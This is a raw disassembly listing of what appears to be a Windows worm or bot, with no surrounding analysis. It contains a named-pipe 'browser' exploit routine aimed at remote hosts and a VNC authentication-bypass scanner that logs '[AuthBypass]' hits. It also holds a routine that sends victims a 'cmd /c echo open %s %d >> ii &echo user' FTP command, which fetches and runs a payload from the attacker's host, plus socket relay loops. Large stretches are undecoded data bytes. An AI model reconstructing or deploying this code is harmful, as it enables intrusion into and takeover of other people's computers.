68h ; h db 44h ; D db 22h ; " db 43h ; C db 0 db 56h ; V db 50h ; P db 0E8h ; è db 0A6h ; ¦ db 0DFh ; ß db 0 db 0 db 6Ah ; j db 20h db 8Dh ; db 85h ; … db 24h ; $ db 0FFh db 0FFh db 0FFh db 53h ; S db 50h ; P db 0E8h ; è db 0A7h ; § db 0DBh ; Û db 0 db 0 db 8Dh ; db 85h ; … db 24h ; $ db 0DFh ; ß db 0FFh db 0FFh db 83h ; ƒ db 0C4h ; Ä db 1Ch db 89h ; ‰ db 85h ; … db 38h ; 8 db 0FFh db 0FFh db 0FFh db 0B8h ; ¸ db 28h ; ( db 0D1h ; Ñ db 43h ; C db 0 db 53h ; S db 50h ; P db 50h ; P db 8Dh ; db 85h ; … db 24h ; $ db 0FFh db 0FFh db 0FFh db 50h ; P db 0E8h ; è db 44h ; D db 8Dh ; db 1 db 0 ; --------------------------------------------------------------------------- jmp short loc_40DA13 ; --------------------------------------------------------------------------- db 0BEh ; ¾ db 0 db 20h db 0 db 0 ; --------------------------------------------------------------------------- loc_40DA13: ; CODE XREF: ___:0040DA0Cj push dword ptr [ebp+8] lea eax, [ebp-40DCh] push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp-40DCh] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax nop call near ptr 27108ABh cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_40DA57 loc_40DA50: ; CODE XREF: ___:0040DB2Fj ; ___:0040DD05j ... xor al, al jmp loc_40DE9B ; --------------------------------------------------------------------------- loc_40DA57: ; CODE XREF: ___:0040DA4Ej push 48h lea eax, [ebp-0B8h] push ebx push eax call sub_41B590 push 10h mov byte ptr [ebp-0B8h], 5 pop eax mov [ebp-0B7h], bl push 1 mov [ebp-0B4h], eax pop edi mov byte ptr [ebp-0B6h], 0Bh push eax lea eax, [ebp-98h] push offset dword_43221C push eax mov byte ptr [ebp-0B5h], 3 mov word ptr [ebp-0B0h], 48h mov [ebp-0AEh], bx mov [ebp-0ACh], ebx mov word ptr [ebp-0A8h], 10B8h mov word ptr [ebp-0A6h], 10B8h mov [ebp-0A4h], ebx mov [ebp-0A0h], edi mov [ebp-9Ch], bx mov byte ptr [ebp-9Ah], 1 call sub_41C310 push 10h lea eax, [ebp-84h] push offset dword_432208 push eax mov dword ptr [ebp-88h], 3 call sub_41C310 add esp, 24h lea eax, [ebp-0BCh] mov dword ptr [ebp-74h], 2 push ebx push eax lea eax, [ebp-0B8h] push 48h push eax push dword ptr [ebp-4] nop call near ptr 2700000h test eax, eax jnz short loc_40DB34 loc_40DB26: ; CODE XREF: ___:0040DC00j push dword ptr [ebp-4] nop call near ptr 2670822h jmp loc_40DA50 ; --------------------------------------------------------------------------- loc_40DB34: ; CODE XREF: ___:0040DB24j lea eax, [ebp-14h] push ebx push eax lea eax, [ebp-60DCh] push esi push eax push dword ptr [ebp-4] nop call near ptr 2710000h push ebx call sub_41D081 push eax call sub_41B8D8 push 14h lea eax, [ebp-70h] push 41h push eax call sub_41B590 push 1Ch lea eax, [ebp-30h] push 41h push eax call sub_41B590 add esp, 20h call sub_41B8E2 mov esi, [ebp+0Ch] mov [ebp-70h], eax mov [ebp-64h], edi mov [ebp-68h], ebx lea esi, [esi+esi*4] mov [ebp-6Ch], edi shl esi, 2 mov [ebp-60h], bx cmp byte_4321B0[esi], bl jz short loc_40DBAB push 4 mov [ebp-24h], edi mov [ebp-28h], ebx mov [ebp-2Ch], edi push offset dword_4CDC9C jmp short loc_40DBBE ; --------------------------------------------------------------------------- loc_40DBAB: ; CODE XREF: ___:0040DB97j push 2 mov [ebp-28h], ebx pop eax push 4 mov [ebp-24h], eax mov [ebp-2Ch], eax push (offset loc_4321FF+1) loc_40DBBE: ; CODE XREF: ___:0040DBA9j lea eax, [ebp-20h] push eax call sub_41C310 add esp, 0Ch call sub_41B8E2 mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp-30h], edx call sub_41B8E2 cdq idiv edi mov eax, dword_4321A4[esi] mov [ebp-18h], ebx push eax mov [ebp+8], eax inc edx mov [ebp-1Ch], edx call sub_41B4D5 mov edi, eax pop ecx cmp edi, ebx jz loc_40DB26 mov eax, [ebp+8] add eax, 0FFFFFFFEh push eax push 90h push edi call sub_41B590 mov eax, [ebp+8] push 2 push ebx lea eax, [edi+eax-2] push eax call sub_41B590 mov eax, dword_4321AC[esi] push 7 add eax, edi push offset dword_432198 push eax mov [ebp+0Ch], eax call sub_41C310 mov eax, [ebp+0Ch] push 15Ch add eax, 7 push offset dword_432038 push eax call sub_41C310 mov eax, dword_4321A8[esi] add esp, 30h cmp byte_4321B0[esi], bl mov [ebp+0Ch], eax jz short loc_40DCB7 push 4 add eax, edi push offset dword_4CDC94 push eax call sub_41C310 add dword ptr [ebp+0Ch], 0Ch mov esi, offset dword_4321C8 mov eax, [ebp+0Ch] push 4 add eax, edi push esi push eax call sub_41C310 mov eax, [ebp+0Ch] push 4 push esi lea eax, [eax+edi+24h] push eax mov [ebp+0Ch], eax call sub_41C310 mov eax, [ebp+0Ch] push 4 add eax, 0Ch push esi push eax call sub_41C310 add esp, 30h jmp short loc_40DCDF ; --------------------------------------------------------------------------- loc_40DCB7: ; CODE XREF: ___:0040DC68j add eax, edi mov dword ptr [ebp-8], 10h mov [ebp+0Ch], eax mov esi, offset dword_4321C8 loc_40DCC8: ; CODE XREF: ___:0040DCDDj push 4 push esi push dword ptr [ebp+0Ch] call sub_41C310 add dword ptr [ebp+0Ch], 4 add esp, 0Ch dec dword ptr [ebp-8] jnz short loc_40DCC8 loc_40DCDF: ; CODE XREF: ___:0040DCB5j mov eax, [ebp+8] add eax, 42h push eax call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx mov [ebp-8], esi jnz short loc_40DD0A push dword ptr [ebp-4] call near ptr 2670822h nop push edi call sub_41B0B1 pop ecx jmp loc_40DA50 ; --------------------------------------------------------------------------- loc_40DD0A: ; CODE XREF: ___:0040DCF3j mov eax, [ebp+8] add eax, 42h push eax push ebx push esi call sub_41B590 lea eax, [ebp-70h] push 14h push eax push esi call sub_41C310 mov eax, [ebp+8] mov [ebp-0Ch], ebx mov [ebp-10h], eax add esp, 10h fild qword ptr [ebp-10h] fmul flt_4276AC fstp qword ptr [esp] call sub_41C7BF call sub_41C798 push dword ptr [ebp+8] mov [esi+1Ch], eax mov [esi+18h], ebx mov eax, [esi+1Ch] mov [esi+14h], eax lea eax, [esi+20h] push edi push eax call sub_41C310 mov eax, [ebp+8] add esp, 14h add eax, 20h test al, 3 mov [ebp+0Ch], eax jz short loc_40DD77 loc_40DD6F: ; CODE XREF: ___:0040DD72j inc eax test al, 3 jnz short loc_40DD6F mov [ebp+0Ch], eax loc_40DD77: ; CODE XREF: ___:0040DD6Dj lea ecx, [ebp-30h] push 1Ch add eax, esi push ecx push eax call sub_41C310 add dword ptr [ebp+0Ch], 1Ch push edi call sub_41B0B1 push 18h lea eax, [ebp-48h] push ebx push eax call sub_41B590 push 14h lea eax, [ebp-5Ch] push ebx push eax mov byte ptr [ebp-48h], 5 mov [ebp-47h], bl mov [ebp-46h], bl mov byte ptr [ebp-45h], 3 mov dword ptr [ebp-44h], 10h mov [ebp-3Eh], bx mov [ebp-3Ch], ebx mov [ebp-34h], bx mov word ptr [ebp-32h], 1Fh call sub_41B590 add esp, 28h push ebx push ebx push 1 push ebx call near ptr 2700870h nop mov [ebp-4Ch], eax mov [ebp+0Bh], bl mov [ebp-0Ch], ebx loc_40DDE4: ; CODE XREF: ___:0040DE6Ej cmp dword ptr [ebp-0Ch], 2 jge loc_40DE79 push 1 push 10B8h push dword ptr [ebp+0Ch] inc dword ptr [ebp-0Ch] push esi lea esi, [ebp-48h] sub esp, 18h push 6 pop ecx mov edi, esp push dword ptr [ebp-4] rep movsd call sub_40D8AD add esp, 2Ch test al, al jz short loc_40DE76 cmp [ebp-4Ch], ebx jz short loc_40DE68 lea eax, [ebp-5Ch] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-60DCh] push 2000h push eax push dword ptr [ebp-4] call near ptr 2710000h nop test eax, eax jnz short loc_40DE4F nop call near ptr 26908FFh cmp eax, 3E5h jnz loc_40DA50 loc_40DE4F: ; CODE XREF: ___:0040DE3Cj push 3E8h push dword ptr [ebp-4Ch] nop call near ptr 26A0000h cmp eax, 102h jnz short loc_40DE68 mov byte ptr [ebp+0Bh], 1 loc_40DE68: ; CODE XREF: ___:0040DE1Bj ; ___:0040DE62j cmp [ebp+0Bh], bl mov esi, [ebp-8] jz loc_40DDE4 jmp short loc_40DE79 ; --------------------------------------------------------------------------- loc_40DE76: ; CODE XREF: ___:0040DE16j mov esi, [ebp-8] loc_40DE79: ; CODE XREF: ___:0040DDE8j ; ___:0040DE74j push dword ptr [ebp-4] mov edi, dword_427068 call edi push esi call sub_41B0B1 cmp [ebp-4Ch], ebx pop ecx jz short loc_40DE95 push dword ptr [ebp-4Ch] call edi loc_40DE95: ; CODE XREF: ___:0040DE8Ej cmp [ebp+0Bh], bl setnz al loc_40DE9B: ; CODE XREF: ___:0040DA52j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ‹ db 0ECh ; ì db 81h ; db 0ECh ; ì db 0A0h ; db 5 db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 33h ; 3 db 0F6h ; ö db 6Ah ; j db 10h db 8Dh ; db 45h ; E db 0F0h ; ð db 56h ; V db 50h ; P db 0E8h ; è db 0D6h ; Ö db 0D6h ; Ö db 0 db 0 db 83h ; ƒ db 0C4h ; Ä db 0Ch db 8Dh ; db 45h ; E db 0Ch db 66h ; f db 0C7h ; Ç db 45h ; E db 0F0h ; ð db 2 db 0 db 50h ; P db 90h ; db 0E8h ; è db 2Bh ; + db 34h ; 4 db 6Ah ; j db 71h ; q db 0FFh db 0B5h ; µ db 0C4h ; Ä db 0 db 0 db 0 db 89h ; ‰ db 45h ; E db 0F4h ; ô db 90h ; db 0E8h ; è db 6Ah ; j db 38h ; 8 db 6Ah ; j db 71h ; q db 56h ; V db 6Ah ; j db 1 db 6Ah ; j db 2 db 66h ; f db 89h ; ‰ db 45h ; E db 0F2h ; ò db 90h ; db 0E8h ; è db 37h ; 7 db 5Dh ; ] db 6Ah ; j db 71h ; q db 8Bh ; ‹ db 0D8h ; Ø db 83h ; ƒ db 0FBh ; û db 0FFh db 74h ; t db 7Ch ; | db 8Dh ; db 45h ; E db 0F0h ; ð db 6Ah ; j db 10h db 50h ; P db 53h ; S db 0E8h ; è db 5Fh ; _ db 5Fh ; _ db 6Ah ; j db 71h ; q db 90h ; db 83h ; ƒ db 0F8h ; ø db 0FFh db 74h ; t db 6Ah ; j db 0BFh ; ¿ db 0 db 4 db 0 db 0 db 56h ; V db 8Bh ; ‹ db 35h ; 5 db 18h db 72h ; r db 42h ; B db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FAh ; ú db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; Ö db 0B8h ; ¸ db 8 db 91h ; ‘ db 42h ; B db 0 db 50h ; P db 50h ; P db 0FFh db 35h ; 5 db 0B0h ; ° db 0ACh ; ¬ db 4Ch ; L db 0 db 0FFh db 75h ; u db 8 db 0E8h ; è db 0DFh ; ß db 0CCh ; Ì db 0FFh db 0FFh db 59h ; Y db 50h ; P db 68h ; h db 50h ; P db 22h ; " db 43h ; C db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 68h ; h db 90h ; db 1 db 0 db 0 db 50h ; P db 0E8h ; è db 38h ; 8 db 0DAh ; Ú db 0 db 0 db 83h ; ƒ db 0C4h ; Ä db 1Ch db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 6Ah ; j db 0 db 50h ; P db 0E8h ; è db 87h ; ‡ db 0D0h ; Ð db 0 db 0 db 59h ; Y db 50h ; P db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 50h ; P db 53h ; S db 0E8h ; è db 8Ch ; Œ db 3Bh ; ; db 6Ah ; j db 71h ; q db 90h ; db 83h ; ƒ db 0F8h ; ø db 0FFh db 75h ; u db 4 db 33h ; 3 db 0C0h ; À db 0EBh ; ë db 17h db 6Ah ; j db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FAh ; ú db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; Ö db 53h ; S db 90h ; db 0E8h ; è db 0E7h ; ç db 3Ah ; : db 6Ah ; j db 71h ; q db 6Ah ; j db 1 db 58h ; X db 5Fh ; _ db 5Eh ; ^ db 5Bh ; [ db 0C9h ; É db 0C3h ; à dw 5653h dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh, 227459C0h dd 748D656Ah, 0EC811424h, 0BCh, 8B592F6Ah, 0E8A5F3FCh dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851575h, 0D0680B75h dd 90000007h, 28202BE8h, 0FB834302h, 6AB87202h, 5E5F5801h ; --------------------------------------------------------------------------- pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DFE2 proc near ; CODE XREF: sub_40E0D0+91p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax nop call near ptr 71AB12F8h push [ebp+arg_BC] mov [ebp+var_C], eax nop call near ptr 71AB1746h push esi push 1 push 2 mov [ebp+var_E], ax call near ptr 71AB3C22h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40E0B0 lea eax, [ebp+var_10] push 10h push eax push ebx nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jz short loc_40E0B0 mov edi, 400h push esi mov esi, dword_427218 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_429108 push eax push eax push dword_4CACB0 push [ebp+arg_0] call sub_40AC0F pop ecx push eax push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41B980 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call near ptr 71AB1AF4h nop cmp eax, 0FFFFFFFFh jnz short loc_40E0B4 loc_40E0B0: ; CODE XREF: sub_40DFE2+50j ; sub_40DFE2+62j xor eax, eax jmp short loc_40E0CB ; --------------------------------------------------------------------------- loc_40E0B4: ; CODE XREF: sub_40DFE2+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx nop call near ptr 71AB1A6Dh push 1 pop eax loc_40E0CB: ; CODE XREF: sub_40DFE2+D0j pop edi pop esi pop ebx leave retn sub_40DFE2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E0D0 proc near ; CODE XREF: sub_40C124+1EAp ; DATA XREF: ___:off_43140Co var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+arg_4] push edi push eax mov [ebp+var_10], 2 call dword_4CAFB4 push [ebp+arg_A0] mov [ebp+var_C], eax call dword_4CAF74 push 6 push 1 push 2 mov [ebp+var_E], ax call near ptr 71AB3C22h nop mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40E142 lea eax, [ebp+var_10] push 10h push eax push esi nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_40E123 push esi jmp short loc_40E13C ; --------------------------------------------------------------------------- loc_40E123: ; CODE XREF: sub_40E0D0+4Ej push 0 push 1213h push offset dword_4322C4 push esi nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh push esi jnz short loc_40E146 loc_40E13C: ; CODE XREF: sub_40E0D0+51j nop call near ptr 71AB1A6Dh loc_40E142: ; CODE XREF: sub_40E0D0+3Cj xor eax, eax jmp short loc_40E188 ; --------------------------------------------------------------------------- loc_40E146: ; CODE XREF: sub_40E0D0+6Aj call near ptr 71AB1A6Dh nop push 216Bh lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DFE2 add esp, 0C0h test eax, eax jz short loc_40E185 mov eax, [ebp+arg_A8] shl eax, 6 inc dword_431410[eax] lea eax, dword_431410[eax] loc_40E185: ; CODE XREF: sub_40E0D0+9Ej push 1 pop eax loc_40E188: ; CODE XREF: sub_40E0D0+74j pop edi pop esi leave retn sub_40E0D0 endp ; =============== S U B R O U T I N E ======================================= sub_40E18C proc near ; CODE XREF: ___:0040E27Ap ; ___:0040E2DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] xor esi, esi loc_40E194: ; CODE XREF: sub_40E18C+2Dj test edi, edi jle short loc_40E1BF mov eax, [esp+8+arg_4] push 0 add eax, esi push edi push eax push [esp+14h+arg_0] call dword_4CAF8C test eax, eax jz short loc_40E1BB cmp eax, 0FFFFFFFFh jz short loc_40E1BB sub edi, eax add esi, eax jmp short loc_40E194 ; --------------------------------------------------------------------------- loc_40E1BB: ; CODE XREF: sub_40E18C+22j ; sub_40E18C+27j xor eax, eax jmp short loc_40E1C2 ; --------------------------------------------------------------------------- loc_40E1BF: ; CODE XREF: sub_40E18C+Aj push 1 pop eax loc_40E1C2: ; CODE XREF: sub_40E18C+31j pop edi pop esi retn sub_40E18C endp ; =============== S U B R O U T I N E ======================================= sub_40E1C5 proc near ; CODE XREF: ___:0040E2C6p ; ___:0040E2F3p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] test edi, edi jz short loc_40E202 xor esi, esi test edi, edi jle short loc_40E1FC loc_40E1D5: ; CODE XREF: sub_40E1C5+35j mov eax, edi push 0 sub eax, esi push eax mov eax, [esp+10h+arg_4] add eax, esi push eax push [esp+14h+arg_0] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jz short loc_40E202 test eax, eax jz short loc_40E202 add esi, eax cmp esi, edi jl short loc_40E1D5 loc_40E1FC: ; CODE XREF: sub_40E1C5+Ej push 1 pop eax loc_40E1FF: ; CODE XREF: sub_40E1C5+3Fj pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40E202: ; CODE XREF: sub_40E1C5+8j ; sub_40E1C5+2Bj ... xor eax, eax jmp short loc_40E1FF sub_40E1C5 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 24Ch push ebx mov ax, word_433508 push esi push edi push 0 push 1 push 2 mov [ebp-2], ax pop esi push esi call dword_4CAFF4 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_40E234 push eax jmp short loc_40E268 ; --------------------------------------------------------------------------- loc_40E234: ; CODE XREF: ___:0040E22Fj lea eax, [ebp+0Ch] push eax call dword_4CAFB4 push dword ptr [ebp+0A8h] mov [ebp-48h], eax mov [ebp-4Ch], si call dword_4CAF74 mov [ebp-4Ah], ax lea eax, [ebp-4Ch] push 10h push eax push ebx call dword_4CAF1C cmp eax, 0FFFFFFFFh jnz short loc_40E273 push ebx loc_40E268: ; CODE XREF: ___:0040E232j call dword_4CB00C jmp loc_40E46E ; --------------------------------------------------------------------------- loc_40E273: ; CODE XREF: ___:0040E265j lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-20h] and byte ptr [ebp-2Ch], 0 push eax lea eax, [ebp-28h] push eax lea eax, [ebp-38h] push offset aRfb03d_03d ; "RFB %03d.%03d\n" push eax call sub_41C645 add esp, 10h cmp eax, esi jnz loc_40E467 cmp dword ptr [ebp-28h], 3 jz short loc_40E2BF cmp dword ptr [ebp-20h], 8 jnz loc_40E467 loc_40E2BF: ; CODE XREF: ___:0040E2B3j lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-3Ch] push esi push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-2] push 1 push eax push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-24h] push 4 push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 mov eax, [ebp-24h] mov edi, 0FF0000h mov ecx, eax mov edx, eax and ecx, edi mov esi, 0FF00h shr edx, 10h or ecx, edx mov edx, eax shl edx, 10h and eax, esi or edx, eax shr ecx, 8 shl edx, 8 or ecx, edx mov [ebp-24h], ecx jnz loc_40E467 push 1 push offset dword_4CAE2C push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-1Ch] push 18h push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 xor eax, eax mov ecx, [ebp-8] mov al, [ebp-1Bh] mov edx, ecx mov ah, [ebp-1Ch] mov [ebp-1Ch], ax xor eax, eax mov al, [ebp-19h] mov ah, [ebp-1Ah] mov [ebp-1Ah], ax xor eax, eax mov al, [ebp-13h] mov ah, [ebp-14h] mov [ebp-14h], ax xor eax, eax mov al, [ebp-11h] mov ah, [ebp-12h] mov [ebp-12h], ax xor eax, eax mov al, [ebp-0Fh] mov ah, [ebp-10h] mov [ebp-10h], ax mov eax, ecx and eax, edi shr edx, 10h or eax, edx mov edx, ecx shl edx, 10h and ecx, esi or edx, ecx shr eax, 8 shl edx, 8 or eax, edx mov [ebp-8], eax add eax, 2 push eax call sub_41CFC5 mov edi, [ebp-8] pop ecx test edi, edi mov esi, eax jle short loc_40E3F7 push edi push esi push ebx call sub_40E18C add esp, 0Ch loc_40E3F7: ; CODE XREF: ___:0040E3EAj and byte ptr [edi+esi], 0 lea eax, [ebp+0Ch] push eax push esi push dword ptr [ebp-20h] lea eax, [ebp-24Ch] push dword ptr [ebp-28h] push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]" push 200h push eax call sub_41B980 push 0 lea eax, [ebp-24Ch] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409A72 lea eax, [ebp-24Ch] push eax call sub_4151AC mov eax, [ebp+0B0h] add esp, 34h shl eax, 6 inc dword_431410[eax] push ebx lea eax, dword_431410[eax] call near ptr 71AB1A6Dh nop push 1 pop eax jmp short loc_40E470 ; --------------------------------------------------------------------------- loc_40E467: ; CODE XREF: ___:0040E284j ; ___:0040E2A9j ... push ebx nop call near ptr 71AB1A6Dh loc_40E46E: ; CODE XREF: ___:0040E26Ej xor eax, eax loc_40E470: ; CODE XREF: ___:0040E465j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40E47E: ; CODE XREF: ___:0040E49Aj ; ___:0040E4B6j push 0 lea eax, [ebp-404h] push 400h push eax push dword_4CDCB4 call dword_4CAF8C test eax, eax jle short loc_40E47E lea ecx, [ebp-4] push 0 push ecx push eax lea eax, [ebp-404h] push eax push dword_4CDCB0 nop call near ptr 2700000h jmp short loc_40E47E ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40E4C1: ; CODE XREF: ___:0040E4E7j ; ___:0040E501j lea eax, [ebp-4] and dword ptr [ebp-4], 0 push 0 push eax lea eax, [ebp-404h] push 400h push eax push dword_4CDCA4 call near ptr 2710000h nop cmp dword ptr [ebp-4], 0 jle short loc_40E4C1 push 0 lea eax, [ebp-404h] push dword ptr [ebp-4] push eax push dword_4CDCB4 call dword_4CAFC4 jmp short loc_40E4C1 ; --------------------------------------------------------------------------- byte_40E503 db 55h ; DATA XREF: sub_401ACD+2D0Do dword_40E504 dd 0EC81EC8Bh, 11Ch, 5308458Bh, 286A5756h, 8D59F08Bh, 0FFFEE4BDh dd 6AA5F3FFh, 5EFF3301h, 98B089h, 106A0000h, 57C8458Dh dd 0D05AE850h, 0C4830000h, 45C7660Ch, 0FF0002C8h, 0FFFF68B5h dd 7415FFFFh, 6A004CAFh, 26A5606h, 0CA458966h, 0AFF415FFh dd 4589004Ch, 0C8458D08h, 0FF50106Ah, 15FF0875h, 4CAFA0h dd 75FF056Ah, 9C15FF08h, 8B004CAFh, 4270FC1Dh, 68358B00h dd 57004270h, 875FF57h, 0B00815FFh, 0B4A3004Ch, 8D004CDCh dd 5057F445h, 4CDCB068h, 0DCAC6800h, 45C7004Ch, 0CF4h dd 0FC45C700h, 1, 0FFF87D89h, 0F4458DD3h, 0A8685057h, 68004CDCh dd 4CDCA4h, 446AD3FFh, 5784458Dh, 0CFBEE850h, 0ACA10000h dd 83004CDCh, 45890CC4h, 0DCA8A1BCh, 4589004Ch, 16A57C0h dd 6AC4458Dh, 45C75002h, 4484h, 0B045C700h, 101h, 0B47D8966h dd 311EEBE8h, 0FF509002h, 4CDCA835h, 1EDEE800h, 50900231h dd 19E6E890h, 458D0231h, 458D50D8h, 57575084h, 9068h, 0F4458D04h dd 8D50016Ah, 6850F445h, 43350Ch, 0DEE89057h, 8D022624h dd 5750E845h, 0E4B86857h, 458D0040h, 905057F4h, 281A33E8h dd 0EC458902h, 50E8458Dh, 75685757h, 8D0040E4h, 5057F445h dd 1A1AE890h, 0FF6A0228h, 0FFF04589h, 85E8D875h, 90022919h dd 0F075FF57h, 203CE890h, 0FF570229h, 0E890EC75h, 2292032h dd 0FFF075FFh, 0EC75FFD6h, 0FF57D6FFh, 0BBE8D875h, 90023024h dd 0DCAC35FFh, 0D6FF004Ch, 0DCB035FFh, 0D6FF004Ch, 0DCA435FFh dd 0D6FF004Ch, 0DCA835FFh, 0D6FF004Ch, 0FFDC75FFh, 0D875FFD6h dd 0B0E9D6FFh, 0E9FFFFFEh, 0 ; --------------------------------------------------------------------------- push 0FFFEh push 400h call sub_418684 pop ecx mov dword_4CDCBC, eax pop ecx retn ; --------------------------------------------------------------------------- byte_40E6EF db 55h ; DATA XREF: sub_40BACD+34Do dd 0EC81EC8Bh, 6C0h, 5308458Bh, 276A5756h, 8D59F08Bh, 0FFFF50BDh dd 6AA5F3FFh, 5EDB3301h, 98B089h, 106A0000h, 53EC458Dh dd 0CE6EE850h, 0C4830000h, 45C7660Ch, 0FF0002ECh, 0FFFF5CB5h dd 7415FFFFh, 53004CAFh, 66026A56h, 89EE4589h, 15FFF05Dh dd 4CAFF4h, 0CE83F88Bh, 75FE3BFFh, 0E45D3945h, 8D532075h dd 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh, 0FF50B5FFh dd 0FFE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h, 6A2AE850h dd 0B5FF0000h, 0FFFFFF54h, 0FFCC85E8h, 535959FFh, 2E186BE8h dd 858B9002h, 0FFFFFF54h, 0C069106Ah, 234h, 0DEBCB889h dd 458D0043h, 0FF5750ECh, 4CAFA015h, 0BBC63B00h, 400h dd 0CF850Fh, 15FF0000h, 4CAF08h, 27403Dh, 33477400h, 0E47539F6h dd 8D562075h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh dd 0FF50B5FFh, 7FE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h dd 69AAE850h, 0B5FF0000h, 0FFFFFF54h, 0FFCC05E8h, 565959FFh dd 17EAE890h, 0FE68022Eh, 530000FFh, 9E63E8h, 0BCA35900h dd 59004CDCh, 0EE458966h, 6AEC458Dh, 0FF575010h, 4CAFA015h dd 75C63B00h, 815FF54h, 33004CAFh, 0E47539F6h, 403D2775h dd 74000027h, 858D5620h, 0FFFFFD40h, 50E075FFh, 0FF60858Dh dd 0FF50FFFFh, 0FFFF50B5h, 0B204E8FFh, 0C483FFFFh, 40858D14h dd 50FFFFFDh, 692FE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFCB8Ah dd 90565959h, 2E176FE8h, 57056A02h, 0AF9C15FFh, 0C63B004Ch dd 0D4840Fh, 45C70000h, 10FCh, 9108BE00h, 458D0042h, 858D50FCh dd 0FFFFFF40h, 15FF5750h, 4CB008h, 89FFF883h, 0E6740845h dd 0E47D83h, 6A2175h, 0FD40858Dh, 75FFFFFFh, 858D50E0h dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB186h, 8D14C483h dd 0FFFD4085h, 0B1E850FFh, 59000068h, 0FD40858Dh, 6AFFFFh dd 20068h, 75FF5000h, 8C15FF08h, 83004CAFh, 9674FFF8h dd 35FF5656h, 4CACB0h, 0FF50B5FFh, 0E4E8FFFFh, 59FFFFC2h dd 35146850h, 858D0043h, 0FFFFF940h, 41E85053h, 830000D0h dd 858D1CC4h, 0FFFFF940h, 0E850006Ah, 0C690h, 858D5059h dd 0FFFFF940h, 875FF50h, 0AFC415FFh, 0F883004Ch, 43840FFFh dd 0FFFFFFFFh, 4CDCC405h, 0FF38E900h, 0FF57FFFFh, 4CB00C15h dd 54B5FF00h, 0E8FFFFFFh, 0FFFFCA8Ah, 90006A59h, 2E166FE8h db 2 byte_40E991 db 55h, 8Bh, 0ECh ; DATA XREF: 